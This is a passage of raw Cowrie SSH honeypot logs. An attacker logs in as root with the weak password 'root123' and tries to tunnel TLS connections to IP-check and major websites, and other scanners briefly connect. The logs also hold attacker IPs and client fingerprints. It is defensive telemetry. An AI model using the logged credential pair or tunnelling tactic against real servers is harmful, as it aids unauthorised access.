390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:25.499715Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:25.992463Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.228.15.104","dst_port":443,"src_ip":"77.90.185.17","src_port":40014,"message":"direct-tcp connection request to 54.228.15.104:443 from 127.0.0.1:40014","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:27.134270Z","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.228.15.104","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.228.15.104:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:27.618703Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.228.15.104","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xc7\\xae7\\x06w\\xf6J\\x0fq\\xb3\\x10\\x87\\x9dt\\x90[1\\xfe\\xd1\\xeew\\xbbc\\x15\\xd6\\xc1\\xf1d9%\\x0c \\x10\\x80\\x86\\xde\\xafZ\\xa7\\xcd\\xbf\\xc0\\x17MH\\xb6\\xc05\\xa1pbDsg{\\\\\\xd8/\\xe5\\xd9\\xb4\\xa0\\x93\\xd1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x87\\xd8RF\\xe9\\x03\\xb0`\\xd6\\xea\\xdde\\xf2\\xc4\\xa0\\xea\\xc0\\xbc\\xad\\x88\\xbf:\\xbat]QT\\xe95\\xa3\\xf0&\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.228.15.104:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xc7\\xae7\\x06w\\xf6J\\x0fq\\xb3\\x10\\x87\\x9dt\\x90[1\\xfe\\xd1\\xeew\\xbbc\\x15\\xd6\\xc1\\xf1d9%\\x0c \\x10\\x80\\x86\\xde\\xafZ\\xa7\\xcd\\xbf\\xc0\\x17MH\\xb6\\xc05\\xa1pbDsg{\\\\\\xd8/\\xe5\\xd9\\xb4\\xa0\\x93\\xd1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x87\\xd8RF\\xe9\\x03\\xb0`\\xd6\\xea\\xdde\\xf2\\xc4\\xa0\\xea\\xc0\\xbc\\xad\\x88\\xbf:\\xbat]QT\\xe95\\xa3\\xf0&\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:27.622419Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":41252,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:41252","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:29.065570Z","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:29.440074Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03KW*\\xfe\\x0bfU\\xb7\\x83\\x0cb\\xab\\xef\\x13q3\\x84]\\xbd\\xd4\\xb5\\xbbZ\\x8a\\xa2p{_\\x16\\x7f\\x11\\xd8 s\\xedrkXU9\\xe9\\xe2\\xa6r\\xec5|\\x01\\xaa0\\x16\\xdb\\xf4(#\\x87\\xd4\\xe7N%\\xca\\xad\\\\\\xaf\\x94\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdcE\\xf1\\xc5\\xdc\\x04\\x8a\\xf7\\x8c\\xect\\xb7\\xbdG\\x95\\xb3o\\xbc\\x92;|'Q\\x98)\\xf0\\x19\\xe7|\\x12\\xcdG\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03KW*\\xfe\\x0bfU\\xb7\\x83\\x0cb\\xab\\xef\\x13q3\\x84]\\xbd\\xd4\\xb5\\xbbZ\\x8a\\xa2p{_\\x16\\x7f\\x11\\xd8 s\\xedrkXU9\\xe9\\xe2\\xa6r\\xec5|\\x01\\xaa0\\x16\\xdb\\xf4(#\\x87\\xd4\\xe7N%\\xca\\xad\\\\\\xaf\\x94\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdcE\\xf1\\xc5\\xdc\\x04\\x8a\\xf7\\x8c\\xect\\xb7\\xbdG\\x95\\xb3o\\xbc\\x92;|'Q\\x98)\\xf0\\x19\\xe7|\\x12\\xcdG\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:29.443500Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.150.119","dst_port":443,"src_ip":"77.90.185.17","src_port":42994,"message":"direct-tcp connection request to 142.251.150.119:443 from 127.0.0.1:42994","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:30.142926Z","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.150.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.150.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:30.526957Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.150.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19O\\xdeV\\xdf\\n\\\\\\xc5\\xc50n\\r\\xa6\\xc4],\\xfdt\\\\pg^\\xa2\\x1d\\x8d\\x81[\\t\\x16~]J \\xb3)\\x08\\xc5\\x18\\x1f\\x0b\\xf7\\xf7\\xe1Is\\xd6\\x10\\xbd,zW\\xb9\\xbd\\xd6\\xbe\\xfbQv\\x83?(O\\xb3\\xac\\xa6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8 \\xb2\\xe7\\xa7\\xa2c\\x05\\xad9P\\xaa/\\xd1\\x12\\xcfu\\xce\\xaa\\xe0\\xf5\\x08\\xe8\\xf7\\xd8\\x7f\\xfa\\xbfd\\x11\\x8b(\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.150.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19O\\xdeV\\xdf\\n\\\\\\xc5\\xc50n\\r\\xa6\\xc4],\\xfdt\\\\pg^\\xa2\\x1d\\x8d\\x81[\\t\\x16~]J \\xb3)\\x08\\xc5\\x18\\x1f\\x0b\\xf7\\xf7\\xe1Is\\xd6\\x10\\xbd,zW\\xb9\\xbd\\xd6\\xbe\\xfbQv\\x83?(O\\xb3\\xac\\xa6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8 \\xb2\\xe7\\xa7\\xa2c\\x05\\xad9P\\xaa/\\xd1\\x12\\xcfu\\xce\\xaa\\xe0\\xf5\\x08\\xe8\\xf7\\xd8\\x7f\\xfa\\xbfd\\x11\\x8b(\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:30.531198Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:30.858315Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.48","src_port":54160,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a05f779eb2","protocol":"ssh","message":"New connection: 198.235.24.48:54160 (10.17.0.5:22) [session: 14a05f779eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:43.030431Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:43.351022Z","src_ip":"198.235.24.48","session":"14a05f779eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":35226,"dst_ip":"10.17.0.5","dst_port":22,"session":"6899f822b416","protocol":"ssh","message":"New connection: 152.32.129.186:35226 (10.17.0.5:22) [session: 6899f822b416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:45.018422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:45.023058Z","src_ip":"152.32.129.186","session":"6899f822b416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa